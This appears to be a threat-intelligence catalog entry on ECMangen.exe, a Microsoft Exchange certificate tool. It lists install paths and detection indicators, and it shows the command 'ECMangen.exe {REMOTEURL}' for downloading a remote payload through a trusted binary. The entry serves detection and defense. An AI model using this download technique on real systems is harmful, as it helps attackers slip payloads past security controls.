--- Name: ECMangen.exe Description: Command-line tool for managing certificates in Microsoft Exchange Server. Author: Avihay Eldad Created: 2024-04-30 Commands: - Command: ECMangen.exe {REMOTEURL} Description: Downloads payload from remote server Usecase: It will download a remote payload and place it in INetCache Category: Download Privileges: User MitreID: T1105 OperatingSystem: Windows Tags: - Download: INetCache Full_Path: - Path: C:\Program Files (x86)\Microsoft SDKs\Windows\\Bin\ECMangen.exe - Path: C:\Program Files (x86)\Microsoft SDKs\Windows\\Bin\x64\ECMangen.exe - Path: C:\Program Files\Microsoft\Exchange Server\\Bin\ECMangen.exe - Path: C:\Program Files\Microsoft\Exchange Server\Bin\ECMangen.exe - Path: C:\Program Files\Microsoft\Exchange Server\ClientAccess\Bin\ECMangen.exe - Path: C:\ExchangeServer\Bin\ECMangen.exe Detection: - IOC: URL on a ECMangen command line - IOC: ECMangen making unexpected network connections or DNS requests Acknowledgement: - Person: Avihay Eldad Handle: '@AvihayEldad'